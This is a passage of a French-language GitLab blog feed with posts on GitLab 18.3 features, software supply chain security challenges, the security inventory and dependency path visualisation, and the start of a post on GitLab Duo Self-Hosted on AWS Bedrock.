<li><strong>Permissions granulaires pour les tokens de job CI/CD :</strong> remplace l'accès général des tokens par des permissions granulaires et explicites qui accordent aux jobs CI/CD un accès uniquement aux points de terminaison API spécifiques dont ils ont réellement besoin. Au lieu de donner aux jobs un accès général aux ressources du projet, les équipes peuvent maintenant définir des permissions précises pour les déploiements, les packages, les versions, les environnements et autres ressources critiques afin de réduire la surface d'attaque et tout potentiel d'escalade de privilèges.</li>
<li><strong>Intégration d'AWS Secrets Manager :</strong> les équipes qui utilisent AWS Secrets Manager peuvent maintenant récupérer des secrets directement dans les jobs GitLab CI/CD afin de simplifier les processus de compilation et de déploiement. Un GitLab Runner accède aux secrets au moyen de l'authentification basée sur le protocole OpenID Connect, qui est masqué pour éviter l'exposition dans les job logs et détruit après utilisation. Cette approche élimine le  stockage des secrets dans des variables et s'intègre proprement dans les workflows existants  GitLab et AWS. Développée en étroite collaboration avec Deutsche Bahn et l'équipe AWS Secrets Manager, cette intégration reflète notre engagement à proposer des solutions aux côtés des clients pour résoudre des défis du monde réel.</li>
</ul>
<h3>Gestion des artefacts : sécuriser la chaîne d'approvisionnement logicielle</h3>
<p>Lorsque les artefacts ne sont pas régis correctement, de petits changements peuvent avoir de lourdes conséquences. Les packages modifiables, les images de conteneurs écrasées et les règles incohérentes entre les outils peuvent entraîner des pannes de production, introduire des vulnérabilités et créer des problèmes de conformité. Pour une plateforme DevSecOps d'entreprise, une gestion centralisée et sécurisée des artefacts est essentielle afin de maintenir l'intégrité de la chaîne d'approvisionnement logicielle.</p>
<h4>Protection des artefacts au niveau de l'entreprise</h4>
<p>GitLab 18.3 capitalise sur nos capacités complètes de protection des packages et ajoute de nouvelles fonctionnalités importantes :</p>
<ul>
<li><strong>Assistance pour les revues Conan :</strong> dans la version 18.3, les <a href="https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions">révisions Conan</a> garantissent l'immuabilité des packages pour les équipes de développement C++. Lorsque des modifications sont apportées à un package sans en changer la version, Conan calcule des identifiants uniques pour suivre ces changements et permettre aux équipes de maintenir des packages immuables ainsi que de préserver la clarté des versions.</li>
<li><strong>Sécurité améliorée du registre de conteneurs :</strong> suite au lancement réussi des <a href="https://docs.gitlab.com/fr-fr/user/packages/container_registry/immutable_container_tags/">tags de conteneurs immuables</a> dans la version 18.2, nous constatons une forte adoption de cette fonctionnalité en entreprise. Une fois qu'un tag créé correspond à une règle immuable, personne, quel que soit son niveau de permission, ne peut modifier cette image de conteneur afin d'éviter les changements non intentionnels des dépendances de production.</li>
</ul>
<p>Ces améliorations complètent nos capacités de protection existantes pour npm, PyPI, Maven, NuGet, les charts Helm et les packages génériques. Elles aident les équipes de plateforme à implémenter une stratégie de gouvernance cohérente à travers toute leur chaîne d'approvisionnement logicielle – une exigence pour les organisations qui construisent des plateformes de développement internes sécurisées.</p>
<p>Contrairement aux solutions d'artefacts autonomes, l'approche intégrée de GitLab élimine le changement de contexte entre les outils et fournit une traçabilité de bout en bout du code au déploiement. Elle permet aussi aux équipes de plateforme d'implémenter une stratégie de gouvernance cohérente dans l'ensemble de leur pipeline de livraison logicielle.</p>
<h3>Vues intégrées : visibilité et rapports en temps réel</h3>
<p>À mesure que les projets GitLab gagnent en complexité, les équipes se retrouvent à naviguer entre tickets, merge requests, epics et jalons pour maintenir la visibilité du statut du travail. Consolider efficacement ces informations tout en garantissant que les équipes ont un accès en temps réel à la progression du projet sans changement de contexte ni interruption reste un défi.</p>
<h3>Lancement de la visibilité du statut du travail en temps réel</h3>
<p>Dans GitLab 18.3, les <a href="https://docs.gitlab.com/fr-fr/user/glql/#embedded-views">vues intégrées alimentées par notre puissant GitLab Query Language</a> (GLQL) éliminent le changement de contexte grâce à des données de projet injectées directement dans votre workflow :</p>
<ul>
<li><strong>Vues dynamiques :</strong> insérez des requêtes GLQL dans des blocs de code Markdown de pages wiki, d'epics, de tickets et de merge requests qui se rafraîchissent automatiquement en fonction de l'état actuel du projet chaque fois que vous chargez la page.</li>
<li><strong>Personnalisation contextuelle :</strong> les vues s'adaptent automatiquement à l'aide de fonctions comme <code>currentUser()</code> et <code>today()</code> pour afficher les informations pertinentes selon l'utilisateur, sans configuration manuelle.</li>
<li><strong>Filtrage puissant :</strong> filtrez parmi plus de 25 champs, y compris la personne assignée, l'auteur, le label, le jalon, les indicateurs de progression et la date de création.</li>
<li><strong>Flexibilité d'affichage :</strong> présentez les données sous forme de tableaux, de listes ou de listes numérotées avec sélection personnalisable des champs, limites d'éléments et ordre de tri pour des vues spécifiques et exploitables.</li>
</ul>
<p>Contrairement aux approches fragmentées de gestion de projet, nous avons conçu les vues intégrées pour maintenir la continuité de votre workflow avec une visibilité en temps réel. Ainsi, les équipes peuvent prendre des décisions éclairées sans se déconcentrer ni basculer entre plusieurs outils et interfaces.</p>
<blockquote>
<p>Découvrez les <a href="https://about.gitlab.com/fr-fr/releases/2025/08/21/gitlab-18-3-released/">nouvelles fonctionnalités de GitLab 18.3</a>.</p>
</blockquote>
<h2>Lancez-vous dès aujourd'hui</h2>
<p>GitLab 18.3 est maintenant disponible pour les utilisateurs GitLab Premium et Ultimate sur GitLab.com et dans les environnements GitLab Self-Managed.</p>
<p>Les clients GitLab Dedicated profitent maintenant de la mise à niveau vers la version 18.2 et pourront utiliser les fonctionnalités déployées avec GitLab 18.3 le mois prochain.</p>
<p>Prêt à découvrir l'avenir de l'ingénierie logicielle ? <a href="https://docs.gitlab.com/fr-fr/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">Activez les fonctionnalités expérimentales et celles de la version bêta pour GitLab Duo</a> et commencez à utiliser des agents IA qui comprennent votre contexte de développement dans son ensemble.</p>
<p>Vous ne connaissez pas encore GitLab ? <a href="https://gitlab.com/fr-fr/-/trials/new">Commencez votre essai gratuit</a> aujourd'hui et découvrez pourquoi l'avenir de l'ingénierie logicielle repose sur la collaboration humain-IA orchestrée sur la plateforme DevSecOps la plus complète au monde.</p>
<p>&lt;p&gt;&lt;small&gt;&lt;em&gt;Cet article de blog contient des énoncés de nature prospective au sens de la Section 27A de la Securities Act de 1933, telle que modifiée, et de la Section 21E de la Securities Exchange Act de 1934. Bien que nous croyions que les attentes reflétées dans les énoncés de nature prospective contenus dans cet article de blog sont raisonnables, ils sont soumis à des risques connus et inconnus, des incertitudes, des hypothèses et d'autres facteurs dont les résultats ou issues réels peuvent matériellement différer de tout résultat ou issue futurs exprimés ou impliqués par les énoncés de nature prospective.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Des informations supplémentaires sur les risques, incertitudes et autres facteurs qui pourraient faire que les résultats et issues réels diffèrent matériellement de ceux inclus dans les énoncés de nature prospective contenus dans cet article de blog ou envisagés dans celui-ci sont incluses sous la rubrique « Facteurs de risque » et ailleurs dans les documents et rapports que nous faisons auprès de la Securities and Exchange Commission. Nous ne nous engageons pas à mettre à jour ou à réviser les énoncés de nature prospective ou à signaler des événements ou circonstances après la date de publication de cet article de blog ou à refléter la tenue d'événements imprévus, sauf si la loi l'exige.&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sécurité de la chaîne d'approvisionnement : quels enjeux ?]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle/"/>
        <updated>2025-08-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>La plupart des équipes de développement considèrent que la sécurité de la chaîne d'approvisionnement logicielle dépend de la qualité de l'analyse des vulnérabilités ou de la gestion des dépendances. Toutefois, cette vision dangereusement étriquée cache une autre réalité.</p>
<p><strong>La sécurité de la chaîne d'approvisionnement logicielle ne se limite pas à l'analyse des dépendances.</strong> Elle concerne l'ensemble du cycle de développement, de l'écriture du code au déploiement en production :</p>
<ul>
<li><strong>La sécurité des sources</strong> consiste à protéger les dépôts de code, gérer l'accès des contributeurs et garantir l'intégrité du code.</li>
<li><strong>La sécurité des compilations</strong> permet de sécuriser les environnements de compilation et d'empêcher toute altération pendant la compilation et l'empaquetage</li>
<li><strong>La sécurité des artefacts</strong> s'attache à garantir l'intégrité des conteneurs, des paquets et des artefacts de déploiement.</li>
<li><strong>La sécurité du déploiement</strong> vise à sécuriser les mécanismes de livraison et les environnements d'exécution.</li>
<li><strong>La sécurité des outils</strong> s'efforce de sécuriser directement les outils et plateformes utilisés pour développer les logiciels.</li>
</ul>
<p>Le terme « chaîne » dans l'expression « sécurité de la chaîne d'approvisionnement logicielle » fait référence à toutes ces étapes interconnectées pour créer et livrer des logiciels. Une faiblesse à n'importe quelle maillon de la chaîne peut compromettre l'ensemble du processus.</p>
<p>L'<a href="https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security">attaque contre SolarWinds en 2020</a> illustre parfaitement cette problématique. Lors d'une des plus grandes attaques de la chaîne d'approvisionnement logicielle de ces dernières années, des attaquants parrainés par un État ont compromis le pipeline de compilation du logiciel de gestion de réseau Orion de SolarWinds. Plutôt que d'exploiter une dépendance vulnérable ou de pirater l'application finale, ils ont injecté du code malveillant pendant le processus de compilation lui-même.</p>
<p>Le résultat a été dévastateur : plus de 18 000 clients de SolarWinds, y compris plusieurs agences gouvernementales américaines, ont installé sans le savoir des logiciels avec des portes dérobées lors de mises à jour logicielles de routine. Le code source d'origine était propre, l'application finale semblait totalement légitime, mais c'est lors du processus de compilation que le code malveillant se déployait. Cette attaque est passée inaperçue pendant des mois. Elle est la preuve incontestable que les mesures de sécurité traditionnelles ne font pas le poids contre l'exploitation des failles au niveau de la chaîne d'approvisionnement logicielle.</p>
<h3>Les idées reçues qui mettent en danger les entreprises</h3>
<p>Malgré une prise de conscience croissante des menaces qui pèsent sur la chaîne d'approvisionnement logicielle, de nombreuses entreprises restent vulnérables, car elles ne comprennent pas tous les tenants et les aboutissants de la sécurité de cette chaîne. Voici les idées reçues les plus dangereuses concernant la sécurité de la chaîne d'approvisionnement logicielle :</p>
<ul>
<li>Elle se résume à l'analyse des dépendances.</li>
<li>Elle se limite aux composants open source et ignore les risques liés au code propriétaire.</li>
<li>La signature de code lui offre une protection suffisante.</li>
<li>Les bonnes pratiques de développement sécurisé sont supposées éliminer les risques qui pèsent sur elle.</li>
<li>La responsabilité est attribuée uniquement à l'équipe de sécurité et non à l'ensemble des collaborateurs impliqués dans le workflow de développement.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png" alt="Diagramme de dépendance de la sécurité de la chaîne d'approvisionnement logicielle"></p>
<h2>L'IA, synonyme de changement</h2>
<p>Alors que les équipes de développement doivent déjà relever les défis de sécurité traditionnels de la chaîne d'approvisionnement logicielle, l'intelligence artificielle (IA) introduit de nouveaux vecteurs d'attaque et amplifie comme jamais auparavant ceux déjà présents.</p>
<h3>Des attaques plus sophistiquées et évolutives</h3>
<p>Les attaquants exploitent désormais l'IA pour automatiser la découverte des vulnérabilités, générer des attaques de type ingénierie sociale avec des messages très convaincants qui ciblent les développeurs et analyser systématiquement les codes sources publics pour en détecter les faiblesses. Ces opérations autrefois manuelles sont désormais réalisées à grande échelle, rapidement et avec une grande précision.</p>
<h3>De nouveaux risques</h3>
<p>Non seulement l'IA modifie l'ensemble du cycle de développement, mais elle introduit des lacunes importantes en matière de sécurité :</p>
<ul>
<li><strong>Attaques de la chaîne d'approvisionnement logicielle des modèles :</strong> les modèles pré-entraînés provenant de sources telles que Hugging Face ou GitHub peuvent contenir des portes dérobées ou des données d'entraînement corrompues.</li>
<li><strong>Manque de protection du code généré par l'IA :</strong> les développeurs qui utilisent des assistants IA pour le code peuvent introduire involontairement des modèles vulnérables ou des dépendances dangereuses.</li>
<li><strong>Compromission des chaînes d'outils alimentées par l'IA :</strong> l'infrastructure pour entraîner, déployer et gérer les modèles d'IA constitue une nouvelle surface d'attaque.</li>
<li><strong>Reconnaissance automatisée :</strong> en s'aidant de l'IA, les attaquants scannent l'ensemble de l'écosystème d'une entreprise pour identifier des cibles stratégiques au sein de la chaîne d'approvisionnement logicielle.</li>
<li><strong>Shadow AI et outils non approuvés :</strong> les équipes de développement peuvent intégrer des outils d'IA externes qui n'ont pas été approuvés.</li>
</ul>
<p>Résultat ? L'IA introduit non seulement de nouvelles vulnérabilités, mais elle amplifie aussi l'ampleur et la gravité des failles de sécurité existantes. Les entreprises ne peuvent plus s'appuyer sur des améliorations incrémentielles, et les pratiques de sécurité peinent à suivre le rythme effréné d'évolution des menaces.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png" alt="Effet d'amplification de l'IA"></p>
<h2>Les entreprises à la traîne</h2>
<p>Même les entreprises conscientes des enjeux de sécurité de la chaîne d'approvisionnement logicielle ne parviennent souvent pas à agir efficacement. Les statistiques sont inquiétantes et sans appel : la prise de conscience est réelle, mais les comportements ne changent pas.</p>
<p>En 2021, <a href="https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html">Colonial Pipeline a dû verser 4,4 millions de dollars à des hackers</a> pour rétablir ses opérations. Peu avant, 18 000 entreprises avaient été victimes de l'attaque SolarWinds. Le signal est clair : les failles de sécurité au sein de la chaîne d'approvisionnement logicielle peuvent mettre à mal des infrastructures critiques et exposer des données sensibles à une échelle sans précédent.</p>
<p>Pourtant, malgré cette prise de conscience, la majorité des entreprises continuent leurs activités comme si de rien n'était. Alors pourquoi ne mettent-elles pas en place des mesures de protection efficaces ?</p>
<p>La réponse repose sur quatre obstacles de taille :</p>
<p><strong>1. La fausse logique économique</strong></p>
<p>Certaines entreprises privilégient le coût immédiat plutôt que l'approche la plus efficace. Cette vision centrée sur les économies à court terme finit par engendrer des problèmes coûteux.</p>
<p><strong>2. Une pénurie de compétences</strong></p>
<p>Selon l'étude BSIMM, on compte <a href="https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/">4 professionnels de la sécurité pour 100 développeurs, en moyenne</a>, et <a href="https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen">90 % des entreprises déclarent une pénurie critique de talents en cybersécurité</a>, selon ISC2. Dans ces conditions, il est tout simplement impossible de faire évoluer les approches traditionnelles.</p>
<p><strong>3. Des objectifs de performance incohérents</strong></p>
<p>Les Objective and Key Results (OKR) des développeurs, principalement axés sur la vélocité des fonctionnalités, sont différents de ceux des équipes de sécurité. Lorsque les dirigeants donnent la priorité à la rapidité de mise sur le marché plutôt qu'à la posture de sécurité, les frictions deviennent inévitables.</p>
<p><strong>4. Prolifération des outils</strong></p>
<p>Une <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025">entreprise de taille moyenne utilise 45 outils de cybersécurité</a>, qui génèrent <a href="https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html">40 % de faux positifs</a>. <a href="https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue">Chaque incident nécessite de coordonner 19 outils en moyenne</a>.</p>
<p>Ces obstacles créent un cercle vicieux : les entreprises reconnaissent la menace, investissent dans des solutions de sécurité, mais leur mise en œuvre n'aboutit pas aux résultats souhaités.</p>
<h2>Le coût de l'insécurité de la chaîne d'approvisionnement logicielle</h2>
<p>Les attaques de la chaîne d'approvisionnement logicielle engendrent des risques et des dépenses qui ne s’arrêtent pas une fois la faille corrigée.  Une meilleure compréhension de ces multiples implications cachées permet de saisir pourquoi la prévention est indispensable pour assurer la continuité des activités.</p>
<p><strong>Des délais beaucoup trop longs</strong></p>
<ul>
<li><a href="https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data">277 jours</a> sont nécessaires en moyenne pour identifier et contenir une faille de sécurité dans la chaîne d'approvisionnement logicielle.</li>
<li><a href="https://www.bcg.com/publications/2024/rebuilding-corporate-trust">De 2 à 3 ans, voire plus</a> sont nécessaires pour regagner la confiance des clients.</li>
<li>De nombreuses heures d'ingénierie sont consacrées chaque année à la correction des failles de sécurité et non au développement de produits.</li>
</ul>
<p><strong>Des attaques qui nuisent à la réputation des entreprises</strong></p>
<p>Lorsque votre chaîne d'approvisionnement logicielle est compromise, il n'est pas uniquement question de données volées, c'est la confiance des clients qui est ébranlée. En moyenne, le <a href="https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach">taux d'attrition des clients augmente de 33 % après une atteinte à la sécurité</a>, tandis que le maintien de bonnes relations avec les partenaires nécessite souvent des recertifications coûteuses. Le positionnement concurrentiel en pâtit, car les prospects choisissent des alternatives qu'ils perçoivent comme « plus sûres ».</p>
<p><strong>Une pression réglementaire en forte augmentation</strong></p>
<p>Les réglementations se sont radicalement renforcées ces dernières années. <a href="https://www.skillcast.com/blog/20-biggest-gdpr-fines">Les amendes liées au non-respect du RGPD dépassent désormais en moyenne les 50 millions de dollars pour les violations de données importantes</a>. Le nouveau <a href="https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-(cra)">Règlement sur la cyberrésilience</a> de l'Union européenne impose des obligations de transparence au niveau de la chaîne d'approvisionnement. Les entrepreneurs qui honorent des contrats avec le gouvernement fédéral américain sont tenus de fournir une nomenclature logicielle (<a href="https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/">SBOM</a>) pour chaque achat de logiciels, une exigence qui s'impose rapidement dans le secteur privé également.</p>
<p><strong>Une multiplication des perturbations opérationnelles</strong></p>
<p>Au-delà des coûts directs, les attaques de la chaîne d'approvisionnement logicielle déclenchent souvent un chaos opérationnel : arrêt des plateformes pendant la phase de remédiation, audits de sécurité d'urgence sur l'ensemble de la pile technologique, frais juridiques liés aux poursuites engagées par les clients et aux enquêtes réglementaires.</p>
<h2>Des approches inadaptées</h2>
<p>La plupart des entreprises confondent activité de sécurité et impact sur la sécurité. Elles déploient des scanners, génèrent des rapports interminables et relancent les équipes via un processus manuel pour qu'elles mettent en place les corrections nécessaires. Mais ces efforts ont souvent l’effet inverse de celui recherché : ils génèrent plus de problèmes qu'ils n'en résolvent.</p>
<h3>Scanning massif ou protection efficace</h3>
<p>Les entreprises génèrent plus de <a href="https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/">10 000 alertes de sécurité chaque mois, et les plus actives produisent environ 150 000 événements par jour</a>. Mais <a href="https://panther.com/blog/identifying-and-mitigating-false-positive-alerts">63 % de ces alertes</a> sont des faux positifs ou ne font pas partie des priorités. Les équipes de sécurité sont submergées : elles n'arrivent plus à suivre le rythme et leur rôle de facilitateur s'en trouve compromis.</p>
<h3>Une collaboration ralentie</h3>
<p>Les entreprises les plus sécurisées ne sont pas celles qui disposent du plus grand nombre d'outils, mais celles qui bénéficient de la meilleure collaboration DevSecOps. Or, la plupart des configurations actuelles ne sont pas adaptées, car les workflows sont divisés entre des outils incompatibles, les développeurs n'ont pas accès aux résultats de sécurité dans leur environnement et les différentes équipes n'ont aucune visibilité sur les risques et l'impact métier.</p>
<h2>La voie à suivre</h2>
<p>Comprendre ces défis est la première étape vers la mise en place d'une sécurité efficace de la chaîne d'approvisionnement logicielle. Les entreprises les plus performantes ne multiplient pas les outils de sécurité, elles repensent en profondeur la façon dont elles intègrent la sécurité à leurs workflows de développement. Elles s'attachent à simplifier les processus, à réduire la complexité technologique et à renforcer la collaboration entre les équipes.</p>
<p>La plateforme DevSecOps unifiée de GitLab permet de relever ces défis en intégrant la sécurité directement au workflow de développement logiciel, en s'appuyant sur des capacités natives conçues pour les développeurs et en tirant parti de l'automatisation alimentée par l'IA. Dans le prochain article de cette série, nous vous expliquerons comment les entreprises leaders mettent concrètement en œuvre cette approche pour renforcer la sécurité de leur chaîne d'approvisionnement logicielle.</p>
<blockquote>
<p>Pour en savoir plus, consultez également notre page web sur les <a href="https://about.gitlab.com/fr-fr/solutions/supply-chain/">solutions de sécurité GitLab dédiées à la chaîne d'approvisionnement logicielle</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Itzik Gan Baruch</name>
            <uri>https://about.gitlab.com/blog/authors/itzik-gan baruch</uri>
        </author>
        <published>2025-08-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Réconcilier visibilité et sécurité dans la chaîne logicielle]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security/"/>
        <updated>2025-08-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>La dernière version de GitLab (<a href="https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/">GitLab 18.2.0</a>) comprend deux nouvelles fonctionnalités majeures pour renforcer la sécurité de votre chaîne d'approvisionnement logicielle : l'inventaire de sécurité et la visualisation des chemins de dépendances.</p>
<p>Avec l'inventaire de sécurité, les équipes de sécurité applicative ont une vue unifiée des risques et de la couverture des scans à l'échelle des groupes et projets GitLab. Elles bénéficient ainsi d'une meilleure visibilité pour identifier les zones non couvertes et prioriser les mesures correctives. La visualisation des chemins de dépendances, quant à elle, offre une vue détaillée du chemin par lequel les vulnérabilités open source sont introduites via la chaîne de dépendances. Ainsi, il devient plus facile d'identifier la correction la plus efficace.</p>
<p>Grâce à ces deux fonctionnalités, les équipes de sécurité et de développement sont en mesure de renforcer la sécurité de leurs applications, puisqu'elles disposent d'une visibilité accrue sur les risques, d'un contexte clair pour choisir les mesures correctives à appliquer et de workflows intégrés qui favorisent la collaboration. Contrairement à d'autres solutions, tout est centralisé sur la plateforme que les développeurs utilisent déjà pour écrire, réviser et déployer leur code. Cette approche intégrée élimine le besoin d'intégrations complexes et offre une expérience DevSecOps fluide et unifiée.</p>
<h2>L'open source : une surface d'attaque plus exposée</h2>
<p>Les applications modernes s'appuient <a href="https://about.gitlab.com/fr-fr/developer-survey/">massivement</a> sur des logiciels open source. Or, cette dépendance n'est pas sans risque : certains composants peuvent être obsolètes, souffrir d'un manque de maintenance ou exposer des vulnérabilités à l'insu des développeurs. C'est pourquoi l'analyse de la composition logicielle (SCA) s'impose comme la pierre angulaire des programmes de sécurité des applications modernes.</p>
<p>La gestion efficace du <em>risque de dépendance transitive</em> représente un défi de taille pour les équipes chargées de détecter les vulnérabilités. Ces composants, souvent cachés au plus profond de la chaîne de dépendances, compliquent l'identification de l'origine d'une vulnérabilité ou du composant à mettre à jour pour y remédier. Pire encore, ils sont responsables de près de <a href="https://arxiv.org/abs/2503.22134?">deux tiers</a> des vulnérabilités open source connues. Faute de visibilité complète sur les chemins de dépendances, les équipes doivent se contenter d'hypothèses, ce qui retarde l'application de mesures correctives et accroît les risques.</p>
<blockquote>
<p>Les dépendances transitives, c'est-à-dire les paquets que votre application utilise indirectement, sont automatiquement intégrées par les dépendances directes que vous incluez explicitement. Ces dépendances imbriquées peuvent introduire des vulnérabilités sans que le développeur n'en ait conscience.</p>
</blockquote>
<p>Ce défi prend une tout autre dimension à grande échelle. Lorsqu'une équipe de sécurité doit superviser des centaines, voire des milliers, de dépôts, chacun avec ses propres dépendances, pipelines de compilation et propriétaires, il devient extrêmement difficile de répondre aux questions fondamentales sur la posture de sécurité applicative. Dans un contexte où les menaces qui pèsent sur la chaîne d'approvisionnement logicielle se multiplient, et où les vulnérabilités peuvent se propager à travers les systèmes par le biais de bibliothèques partagées et de configurations CI/CD, ce manque de visibilité a des conséquences encore plus importantes.</p>
<h2>Inventaire de sécurité : une visibilité évolutive</h2>
<p>L'inventaire de sécurité regroupe les informations sur les risques de l'ensemble de vos groupes et projets dans une vue unifiée. Il met en évidence les ressources couvertes par des scans de sécurité, ainsi que celles qui y échappent. Plutôt que de traiter les vulnérabilités de manière isolée, les équipes de sécurité peuvent évaluer la posture de manière globale et identifier les domaines sur lesquels concentrer leurs efforts.</p>
<p>Ce niveau de centralisation s'avère particulièrement important pour les entreprises qui gèrent un grand nombre de dépôts. Il permet aux équipes chargées de la plateforme et de la sécurité applicative de localiser précisément les risques en révélant les projets non analysés ou insuffisamment protégés, tout en ouvrant la voie à des actions directes depuis l'interface. Grâce à un contexte complet, les équipes identifient rapidement les applications les plus exposées pour les traiter efficacement. En consolidant des données jusque-là dispersées en une source unique de vérité, l'inventaire de sécurité transforme la gestion des vulnérabilités d'une posture réactive à une gouvernance stratégique guidée par les données.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png" alt="Affichage de l'inventaire de sécurité"></p>
<h2>Visualisation des chemins de dépendances : la visibilité pour une remédiation efficace</h2>
<p>L'inventaire de sécurité offre une vision globale des risques ; la visualisation des chemins de dépendances montre comment y remédier.</p>
<p>Lorsqu'une vulnérabilité est située au plus profond d'une chaîne de dépendances, déterminer la bonne approche pour la corriger devient un véritable casse-tête. La plupart des outils de sécurité mettent en évidence le paquet vulnérable, mais sans indiquer par quel biais il s'est introduit dans le code source. Les équipes de développement se retrouvent à tâtonner entre dépendances directes et transitives, ce qui complique l'analyse et risque d'aboutir à des correctifs inadaptés.</p>
<p>La nouvelle visualisation des chemins de dépendances intégrée à la version 18.2.0 de GitLab, parfois appelée graphique de dépendances, dévoile à l'issue d'un scan SCA le parcours complet depuis un paquet principal jusqu'au composant vulnérable. Cette visibilité est essentielle, en particulier compte tenu de l'omniprésence des vulnérabilités profondément ancrées dans les chaînes de dépendances. Directement intégrée aux workflows GitLab, cette fonctionnalité fournit aux équipes de développement des informations précises et immédiatement exploitables, sans que ces dernières doivent quitter leur environnement de travail ni émettre des hypothèses. Les équipes de sécurité peuvent hiérarchiser plus efficacement les problèmes, tandis que les développeurs ont l'assurance que les remédiations ciblent enfin les causes profondes.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png" alt="Aperçu de la visualisation des chemins de dépendances"></p>
<h2>La sécurité intégrée au développement : des risques maîtrisés en amont</h2>
<p>Ces fonctionnalités s'inscrivent dans la stratégie globale de GitLab qui vise à intégrer la sécurité au sein même de la plateforme où le code est planifié, compilé et déployé. En intégrant les informations de sécurité au cœur du workflow DevSecOps, GitLab réduit les points de friction et renforce la collaboration entre les équipes de développement et de sécurité.</p>
<p>L'inventaire de sécurité et la visualisation des chemins de dépendances offrent des perspectives complémentaires : le premier permet une surveillance évolutive, la seconde facilite des mesures de correction ciblées. Ces deux fonctionnalités combinées aident les équipes à concentrer leurs efforts sur les priorités réelles et à combler les lacunes lors de l'analyse des risques, sans complexifier l'environnement avec des outils ou intégrations supplémentaires.</p>
<blockquote>
<p>Prenez en main l'inventaire de sécurité et la visualisation des chemins de dépendances dès aujourd'hui ! Inscrivez-vous à un <a href="https://about.gitlab.com/fr-fr/free-trial/">essai gratuit de GitLab Ultimate</a>.</p>
</blockquote>
<h2>En savoir plus</h2>
<ul>
<li><a href="https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/">Sortie de GitLab 18.2.0</a></li>
<li><a href="https://about.gitlab.com/fr-fr/solutions/security-compliance/">Solutions de sécurité GitLab</a></li>
<li><a href="https://about.gitlab.com/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/">Guide pratique sur les vecteurs de menaces dans la chaîne d'approvisionnement logicielle</a></li>
</ul>
]]></content>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-08-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Maîtrisez votre IA : utilisez les modèles GitLab Duo Self-Hosted avec AWS Bedrock]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-duo-self-hosted-models-on-aws-bedrock/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-self-hosted-models-on-aws-bedrock/"/>
        <updated>2025-08-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Alors que les entreprises adoptent les capacités d'IA pour accélérer leur
cycle de développement logiciel, elles font souvent face à un défi critique
: exploiter l'IA tout en conservant le contrôle de leurs données, de leur
infrastructure et de leur posture de sécurité. C'est là que GitLab Duo
Self-Hosted entre en jeu.</p>
<p>Dans cet article, nous allons parcourir l'implémentation des modèles <a href="https://about.gitlab.com/fr-fr/gitlab-duo/" title="Qu'est-ce que GitLab Duo Self-Hosted ?">GitLab Duo Self-Hosted</a> pour aider les entreprises à respecter des exigences strictes de souveraineté des données tout en tirant parti du développement assisté par IA. L'accent est mis sur l'utilisation de modèles hébergés sur AWS Bedrock plutôt que sur la mise en place d'une solution de service <a href="https://about.gitlab.com/fr-fr/blog/large-language-model/" title="Qu'est-ce qu'un LLM ?">LLM</a> comme vLLM. Cependant, la méthodologie peut être appliquée aux modèles fonctionnant dans votre propre centre de données si vous disposez des capacités nécessaires.</p>
<blockquote>
<p>Consultez le replay de notre webinaire <strong><a href="https://webcasts.gitlab.com/e/676ce079-bcfb-4bfe-8288-5d6fa224bbe4/stage/broadcast/f01358fd-8277-4733-b45d-703e6db8fe9d">GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données</a></strong>.</p>
</blockquote>
<h2>Pourquoi GitLab Duo Self-Hosted ?</h2>
<p>GitLab Duo Self-Hosted permet de déployer les capacités d'IA de GitLab au sein de votre propre infrastructure, que ce soit sur site, dans un cloud privé ou au sein de votre environnement sécurisé.</p>
